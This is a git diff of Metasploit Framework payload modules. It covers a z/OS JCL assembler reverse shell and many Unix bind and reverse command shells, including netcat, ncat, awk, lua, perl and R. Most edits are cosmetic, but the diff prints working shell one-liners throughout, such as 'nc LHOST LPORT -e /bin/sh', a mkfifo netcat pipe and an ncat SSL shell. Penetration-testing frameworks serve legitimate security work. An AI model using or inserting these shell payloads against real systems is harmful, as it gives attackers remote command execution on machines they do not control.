+      "RSN_COD  DS    F                  # reason code\n" \
+      "CLIFD    DS    F                  # client fd\n" \
+      "SRVFD    DS    F                  # server fd\n" \
+      "@BACK    DS    A\n" \
+      "*\n" \
+      "         BPXYSOCK   LIST=NO,DSECT=NO\n" \
+      "         BPXYFCTL   LIST=NO,DSECT=NO\n" \
+      "         BPXYINHE   LIST=NO,DSECT=NO\n" \
+      "@ENDYN   EQU   *\n" \
+      "@DATA#LEN EQU  *-@DATA\n" \
+      "         BPXYCONS   LIST=YES\n" \
+      "         END   SPAWNBND\n" \
+      "ZZ\n" \
+      "//*\n"
+  end
+end
diff --git a/modules/payloads/singles/cmd/mainframe/generic_jcl.rb b/modules/payloads/singles/cmd/mainframe/generic_jcl.rb
index 31bc9dbed7..e42e87592d 100644
--- a/modules/payloads/singles/cmd/mainframe/generic_jcl.rb
+++ b/modules/payloads/singles/cmd/mainframe/generic_jcl.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 ##
 # This is a prototype JCL command payload for z/OS - mainframe.
 #   It submits the IEFBR14 standard z/OS program, which does nothing
diff --git a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
index f4c6804604..eb27e5457b 100644
--- a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
+++ b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 # This payload has no ebcdic<->ascii translator built in.
 # Therefore it must use a shell which does, like mainframe_shell
@@ -13,7 +13,7 @@ require 'msf/base/sessions/mainframe_shell'
 require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
-  CachedSize = 9973
+  CachedSize = 8993
   include Msf::Payload::Single
   include Msf::Payload::Mainframe
   include Msf::Sessions::CommandShellOptions
@@ -22,7 +22,7 @@ module MetasploitModule
     super(merge_info(info,
                      'Name'          => 'Z/OS (MVS) Command Shell, Reverse TCP',
                      'Description'   => 'Provide JCL which creates a reverse shell
-                       This implmentation does not include ebcdic character translation,
+                       This implementation does not include ebcdic character translation,
                        so a client with translation capabilities is required.  MSF handles
                        this automatically.',
                      'Author'        => 'Bigendian Smalls',
@@ -41,7 +41,7 @@ module MetasploitModule
     register_options(
       [
         # need these defaulted so we can manipulate them in command_string
-        Opt::LHOST('127.0.0.1'),
+        Opt::LHOST('0.0.0.0'),
         Opt::LPORT(4444),
         OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
         OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
@@ -81,15 +81,13 @@ module MetasploitModule
 
     jcl_jobcard +
       "//**************************************/\n" \
-      "//*  SPAWN REV SHELL FOR MSF MODULE    */\n" \
+      "//*  SPAWN REVERSE SHELL FOR MSF MODULE*/\n" \
       "//**************************************/\n" \
-      "//* final load module name here\n" \
-      "//SET1      SET PGMN=SPAWNREV\n" \
       "//*\n" \
       "//STEP1      EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
       "//L.SYSLIB   DD  DSN=SYS1.CSSLIB,DISP=SHR\n" \
       "//C.SYSIN    DD  *,DLM=ZZ\n" \
-      "         TITLE  'spaw rev shell non exec'\n" \
+      "         TITLE  'Spanws Reverse Shell'\n" \
       "SPAWNREV CSECT\n" \
       "SPAWNREV AMODE 31\n" \
       "SPAWNREV RMODE ANY\n" \
@@ -99,44 +97,35 @@ module MetasploitModule
       "         USING *,15\n" \
       "@SETUP0  B     @SETUP1\n" \
       "         DROP  15\n" \
-      "         DS    0H              # half word boundary\n" \
-      "@SETUP1  STM   14,12,12(13)    # save our registers\n" \
-      "         LR    2,13            # callers sa\n" \
-      "         LR    8,15            # pgm base in R8\n" \
-      "         USING @SETUP0,8       # R8 for base addressability\n" \
+      "         DS    0H                 # half word boundary\n" \
+      "@SETUP1  STM   14,12,12(13)       # save our registers\n" \
+      "         LR    2,13               # callers sa\n" \
+      "         LR    8,15               # pgm base in R8\n" \
+      "         USING @SETUP0,8          # R8 for base addressability\n" \
       "*************************************\n" \
       "* set up data area / addressability *\n" \
       "*************************************\n" \
-      "*\n" \
-      "         L     0,@DYNSIZE      # len of variable area\n" \
-      "         GETMAIN RU,LV=(0)     # get data stg, len R0\n" \
-      "         LR    13,1            # data address\n" \
-      "         USING @DATA,13        # addressability for data area\n" \
-      "*        XC    @DATA(@DATA#LEN),@DATA  # zero data area\n" \
-      "         ST    2,@BACK         # store callers sa address\n" \
-      "         ST    13,8(,2)        # store our data addr\n" \
-      "*************************************\n" \
-      "* set up INHE area / addressability *\n" \
-      "*************************************\n" \
-      "*\n" \
-      "*        L     0,=A(INHE#LENGTH) # length of INHE macro\n" \
-      "*        GETMAIN RU,LV=(0)     # get stg for inhe macro\n" \
-      "*        ST    1,@CONSA        # save addr inhe macro stg\n" \
-      "*        LR    5,1             # R5 has INHE struct address\n" \
-      "*        USING INHE,5          # addressability for INHE\n" \
-      "         DS    0H              # halfword boundaries\n" \
+      "         L     0,@DYNSIZE         # len of variable area\n" \
+      "         GETMAIN RU,LV=(0)        # get data stg, len R0\n" \
+      "         LR    13,1               # data address\n" \
+      "         USING @DATA,13           # addressability for data area\n" \
+      "         ST    2,@BACK            # store callers sa address\n" \
+      "         ST    13,8(,2)           # store our data addr\n" \
+      "         DS    0H                 # halfword boundaries\n" \
+      "\n" \
       "***********************************************************************\n" \
       "*        BPX1SOC set up socket - inline                               *\n" \
       "***********************************************************************\n" \
       "         CALL  BPX1SOC,                                                X\n" \
       "               (DOM,TYPE,PROTO,DIM,CLIFD,                              X\n" \
       "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "\n" \
       "*******************************\n" \
       "*  chk return code, 0 or exit *\n" \
       "*******************************\n" \
       "         LHI   15,2\n" \
-      "         L     6,RTN_VAL\n" \
-      "         CIB   6,0,7,EXITP     # R6 not 0? Time to exit\n" \
+      "         L     7,RTN_VAL\n" \
+      "         CIB   7,0,7,EXITP        # R7 not 0? Time to exit\n" \
       "\n" \
       "***********************************************************************\n" \
       "*        BPX1CON (connect) connect to remote host - inline            *\n" \
@@ -153,8 +142,8 @@ module MetasploitModule
       "*  chk return code, 0 or exit *\n" \
       "*******************************\n" \
       "         LHI   15,3\n" \
-      "         L     6,RTN_VAL\n" \
-      "         CIB   6,0,7,EXITP     # R6 not 0? Time to exit\n" \
+      "         L     7,RTN_VAL\n" \
+      "         CIB   7,0,7,EXITP        # R7 not 0? Time to exit\n" \
       "\n" \
       "*************************************************\n" \
       "* order of things to prep child pid             *\n" \
@@ -172,9 +161,10 @@ module MetasploitModule
       "****************************************************\n" \
       "*  chk return code here anything but -1 is ok      *\n" \
       "****************************************************\n" \
-      "         LHI   15,11           # exit code for this func\n" \
-      "         L     7,RTN_VAL       # set r7 to rtn val\n" \
-      "         CIB   7,-1,8,EXITP    # r6 = -1 exit\n" \
+      "         LHI   15,4               # exit code for this func\n" \
+      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
+      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
+      "\n" \
       "*******************\n" \
       "*****  STDOUT *****\n" \
       "*******************\n" \
@@ -186,9 +176,10 @@ module MetasploitModule
       "****************************************************\n" \
       "*  chk return code here anything but -1 is ok      *\n" \
       "****************************************************\n" \
-      "         LHI   15,11           # exit code for this func\n" \
-      "         L     7,RTN_VAL       # set r7 to rtn val\n" \
-      "         CIB   7,-1,8,EXITP    # r6 = -1 exit\n" \
+      "         LHI   15,5               # exit code for this func\n" \
+      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
+      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
+      "\n" \
       "*******************\n" \
       "*****  STDERR *****\n" \
       "*******************\n" \
@@ -200,14 +191,13 @@ module MetasploitModule
       "****************************************************\n" \
       "*  chk return code here anything but -1 is ok      *\n" \
       "****************************************************\n" \
-      "         LHI   15,11           # exit code for this func\n" \
-      "         L     7,RTN_VAL       # set r7 to rtn val\n" \
-      "         CIB   7,-1,8,EXITP    # r7 = -1 exit\n" \
+      "         LHI   15,6               # exit code for this func\n" \
+      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
+      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
+      "\n" \
       "***********************************************************************\n" \
       "*        BP1SPN (SPAWN) execute shell '/bin/sh'                       *\n" \
       "***********************************************************************\n" \
-      "******\n" \
-      "******\n" \
       "         XC    INHE(INHE#LENGTH),INHE   # clear inhe structure\n" \
       "         XI    INHEFLAGS0,INHESETPGROUP\n" \
       "         SPACE ,\n" \
@@ -220,46 +210,35 @@ module MetasploitModule
       "               (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL,     X\n" \
       "               EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL,        X\n" \
       "               RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
-      "         LHI   15,12           # exit code for this func\n" \
-      "         L     7,RTN_VAL       # set r7 to rtn val\n" \
-      "         L     6,RTN_COD\n" \
-      "         L     5,RSN_COD\n" \
-      "         CIB   7,-1,8,EXITP    # r7 = -1 exit\n" \
+      "         LHI   15,7               # exit code for this func\n" \
+      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
+      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
       "\n" \
       "****************************************************\n" \
-      "* cleanup & exit                                   *\n" \
-      "* preload R15 with exit code                       *\n" \
+      "* cleanup & exit preload R15 with exit code        *\n" \
       "****************************************************\n" \
-      "GOODX    XR    15,15           # 4 FOR rc\n" \
-      "*        L     0,=A(INHE#LENGTH)\n" \
-      "*        L     5,@INHEA\n" \
-      "*        DROP  5\n" \
-      "*        FREEMAIN RU,LV=(0),A=(5) #free storage\n" \
+      "         XR    15,15              # 4 FOR rc\n" \
       "EXITP    L     0,@DYNSIZE\n" \
       "         LR    1,13\n" \
       "         L     13,@BACK\n" \
       "         DROP  13\n" \
-      "         FREEMAIN RU,LV=(0),A=(1) #free storage\n" \
-      "         XR    15,15\n" \
-      "         L     14,12(,13)      # load R14\n" \
-      "         LM    0,12,20(13)     # load 0-12\n" \
-      "         BSM   0,14            # branch to caller\n" \
+      "         FREEMAIN RU,LV=(0),A=(1) # Free storage\n" \
+      "         L     14,12(,13)         # load R14\n" \
+      "         LM    0,12,20(13)        # load 0-12\n" \
+      "         BSM   0,14               # branch to caller\n" \
       "\n" \
-      "**********************\n" \
-      "*                    *\n" \
-      "* Constant Sections  *\n" \
-      "*                    *\n" \
-      "**********************\n" \
-      "         DS    0F              # constants full word boundary\n" \
+      "****************************************************\n" \
+      "* Constants and Variables                          *\n" \
+      "****************************************************\n" \
+      "         DS    0F                 # constants full word boundary\n" \
       "F_STDI   EQU   0\n" \
       "F_STDO   EQU   1\n" \
       "F_STDE   EQU   2\n" \
       "*************************\n" \
-      "* Socket conn variables *       # functions used by pgm\n" \
+      "* Socket conn variables *         # functions used by pgm\n" \
       "*************************\n" \
       "CONNSOCK DC    XL2'#{lport}'    # LPORT\n" \
       "CONNADDR DC    XL4'#{lhost}'    # LHOST\n" \
-      "BACKLOG  DC    F'1'             # 1 byte backlog\n" \
       "DOM      DC    A(AF_INET)         # AF_INET = 2\n" \
       "TYPE     DC    A(SOCK#_STREAM)    # stream = 1\n" \
       "PROTO    DC    A(IPPROTO_IP)      # ip = 0\n" \
@@ -278,11 +257,8 @@ module MetasploitModule
       "EXENVC   DC    F'0'               # env var count\n" \
       "EXENVL   DC    F'0'               # env var arg list addr\n" \
       "EXENVLL  DC    F'0'               # env var arg len addr\n" \
-      "EXITRA   DC    F'0'               # exit routine addr\n" \
-      "EXITPLA  DC    F'0'               # exit rout parm list addr\n" \
       "FDCNT    DC    F'0'               # field count s/b 0\n" \
       "FDLST    DC    F'0'               # field list addr s/b 0\n" \
-      "MYLEN    DC    F'0'\n" \
       "TVER     DC    AL2(INHE#VER)\n" \
       "TLEN     DC    AL2(INHE#LENGTH)\n" \
       "         SPACE ,\n" \
@@ -297,22 +273,14 @@ module MetasploitModule
       "RTN_COD  DS    F                  # return code\n" \
       "RSN_COD  DS    F                  # reason code\n" \
       "CLIFD    DS    F                  # client fd\n" \
-      "*********************\n" \
-      "* Return value vars *\n" \
-      "*********************\n" \
-      "@SAVE00  DS    0D\n" \
-      "         DS    A\n" \
       "@BACK    DS    A\n" \
-      "@FORWARD DS    A\n" \
-      "         DS    15A\n" \
-      "@INHEA   DS    A\n" \
       "*\n" \
       "         BPXYSOCK   LIST=NO,DSECT=NO\n" \
       "         BPXYFCTL   LIST=NO,DSECT=NO\n" \
       "         BPXYINHE   LIST=NO,DSECT=NO\n" \
       "@ENDYN   EQU   *\n" \
       "@DATA#LEN EQU  *-@DATA\n" \
-      "         BPXYCONS   LIST=YES\n" \
+      "         BPXYCONS   LIST=NO\n" \
       "         END   SPAWNREV\n" \
       "ZZ\n" \
       "//*\n"
diff --git a/modules/payloads/singles/cmd/unix/bind_awk.rb b/modules/payloads/singles/cmd/unix/bind_awk.rb
index 29872d0065..d1eadb71a2 100644
--- a/modules/payloads/singles/cmd/unix/bind_awk.rb
+++ b/modules/payloads/singles/cmd/unix/bind_awk.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -51,5 +51,4 @@ module MetasploitModule
   def command_string
     "awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/bind_inetd.rb b/modules/payloads/singles/cmd/unix/bind_inetd.rb
index 57519db327..91800e9f4d 100644
--- a/modules/payloads/singles/cmd/unix/bind_inetd.rb
+++ b/modules/payloads/singles/cmd/unix/bind_inetd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ module MetasploitModule
 
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb
index 3e8a4acfbe..58afda7d1c 100644
--- a/modules/payloads/singles/cmd/unix/bind_lua.rb
+++ b/modules/payloads/singles/cmd/unix/bind_lua.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,6 +50,5 @@ module MetasploitModule
   def command_string
     "lua -e \"local s=require('socket');local s=assert(socket.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""
   end
-
 end
 
diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb
index 1b9e69f238..c85c07799a 100644
--- a/modules/payloads/singles/cmd/unix/bind_netcat.rb
+++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -53,5 +53,4 @@ module MetasploitModule
     backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
     "mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb
index 8b54f4b1d6..9750e24723 100644
--- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb
+++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -47,5 +47,4 @@ module MetasploitModule
   def command_string
     "nc -l -p #{datastore['LPORT']} -e /bin/sh"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb
index caa771b512..147cd14a3d 100644
--- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb
+++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -47,5 +47,4 @@ module MetasploitModule
   def command_string
     "nc -6 -lp #{datastore['LPORT']} -e /bin/sh"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb
index 92664ce631..20da3cc306 100644
--- a/modules/payloads/singles/cmd/unix/bind_nodejs.rb
+++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 1843
+  CachedSize = 2351
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS
diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb
index 81ccdcbc25..33bca1ebe3 100644
--- a/modules/payloads/singles/cmd/unix/bind_perl.rb
+++ b/modules/payloads/singles/cmd/unix/bind_perl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -48,5 +48,4 @@ module MetasploitModule
      cmd = "perl -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};'"
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb
index 02d502feb7..2c7357e090 100644
--- a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb
+++ b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
 
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/bind_r.rb b/modules/payloads/singles/cmd/unix/bind_r.rb
new file mode 100644
index 0000000000..7c548c31c7
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/bind_r.rb
@@ -0,0 +1,48 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/payload/r'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 132
+
+  include Msf::Payload::Single
+  include Msf::Payload::R
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'Unix Command Shell, Bind TCP (via R)',
+      'Description' => 'Continually listen for a connection and spawn a command shell via R',
+      'Author'      => [ 'RageLtMan' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'unix',
+      'Arch'        => ARCH_CMD,
+      'Handler'     => Msf::Handler::BindTcp,
+      'Session'     => Msf::Sessions::CommandShell,
+      'PayloadType' => 'cmd',
+      'RequiredCmd' => 'R',
+      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  def generate
+    return prepends(r_string)
+  end
+
+  def prepends(r_string)
+   return "R -e \"#{r_string}\""
+  end
+
+  def r_string
+    return "s<-socketConnection(port=#{datastore['LPORT']}," +
+    "blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +
+    "(pipe(readLines(s,1))),s)}"
+  end
+end
diff --git a/modules/payloads/singles/cmd/unix/bind_ruby.rb b/modules/payloads/singles/cmd/unix/bind_ruby.rb
index 726150c433..32b8bcd5ed 100644
--- a/modules/payloads/singles/cmd/unix/bind_ruby.rb
+++ b/modules/payloads/singles/cmd/unix/bind_ruby.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb
index 5fc995b220..6e3b29bf86 100644
--- a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb
+++ b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/unix/bind_zsh.rb b/modules/payloads/singles/cmd/unix/bind_zsh.rb
index bbeb564f78..943c1a50a0 100644
--- a/modules/payloads/singles/cmd/unix/bind_zsh.rb
+++ b/modules/payloads/singles/cmd/unix/bind_zsh.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/unix/generic.rb b/modules/payloads/singles/cmd/unix/generic.rb
index 21c38ea5b2..3023d100d9 100644
--- a/modules/payloads/singles/cmd/unix/generic.rb
+++ b/modules/payloads/singles/cmd/unix/generic.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -52,5 +52,4 @@ module MetasploitModule
   def command_string
     return datastore['CMD'] || ''
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/interact.rb b/modules/payloads/singles/cmd/unix/interact.rb
index 4c382c287c..8d97c50c86 100644
--- a/modules/payloads/singles/cmd/unix/interact.rb
+++ b/modules/payloads/singles/cmd/unix/interact.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -33,5 +33,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse.rb b/modules/payloads/singles/cmd/unix/reverse.rb
index 4c5a58502b..a3f893504b 100644
--- a/modules/payloads/singles/cmd/unix/reverse.rb
+++ b/modules/payloads/singles/cmd/unix/reverse.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -53,5 +53,4 @@ module MetasploitModule
       " >/dev/null 2>&1 &)'"
     return cmd
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_awk.rb b/modules/payloads/singles/cmd/unix/reverse_awk.rb
index 3fc49d0624..6c3dee13ab 100644
--- a/modules/payloads/singles/cmd/unix/reverse_awk.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_awk.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -52,5 +52,4 @@ module MetasploitModule
   def command_string
     "awk 'BEGIN{s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_bash.rb b/modules/payloads/singles/cmd/unix/reverse_bash.rb
index 7c778263d7..295b897c2a 100644
--- a/modules/payloads/singles/cmd/unix/reverse_bash.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_bash.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb
index 0f09d47511..56f27d2c0c 100644
--- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb
index 4417a3c2d2..382f7afae9 100644
--- a/modules/payloads/singles/cmd/unix/reverse_lua.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,6 +50,5 @@ module MetasploitModule
   def command_string
     "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\""
   end
-
 end
 
diff --git a/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb
index b927bad64f..5156e73ead 100644
--- a/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ module MetasploitModule
   def initialize(info = {})
     super(merge_info(info,
       'Name'        => 'Unix Command Shell, Reverse TCP (via ncat)',
-      'Description' => 'Creates an interactive shell via ncat, utilising ssl mode',
+      'Description' => 'Creates an interactive shell via ncat, utilizing ssl mode',
       'Author'      => 'C_Sto',
       'License'     => MSF_LICENSE,
       'Platform'    => 'unix',
@@ -47,5 +47,4 @@ module MetasploitModule
   def command_string
     "ncat -e /bin/sh --ssl #{datastore['LHOST']} #{datastore['LPORT']}"
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb
index 47d5c571c7..2579046f17 100644
--- a/modules/payloads/singles/cmd/unix/reverse_netcat.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_netcat.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -53,5 +53,4 @@ module MetasploitModule
     backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
     "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb
index 1ae1c3971a..6943ba8722 100644
--- a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -47,5 +47,4 @@ module MetasploitModule
   def command_string
     "nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
   end
-
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb
index 3640054022..3149942c66 100644
--- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb
@@ -1,5 +1,5 @@
 ##
